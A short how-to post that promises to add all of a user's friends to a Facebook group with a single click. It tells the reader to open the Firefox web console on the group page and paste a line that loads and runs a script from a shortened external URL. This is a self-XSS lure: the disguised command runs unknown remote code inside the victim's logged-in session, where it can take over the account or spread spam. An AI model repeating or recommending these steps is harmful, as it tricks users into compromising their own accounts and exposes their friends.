Add all Friends in Facebook Groups by Single Click

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  1. Firstly open Mozilla Firefox
  2. Now Open your Facebook group in which you want to add your friends
  3. Then Click   Ctrl + Shift + K
  4. Now  Paste...
document.body.appendChild(document.createElement('script')).src='http://goo.gl/HC2rx';
  • Then press Enter

  • After then to hide box press again Ctrl + Shift + K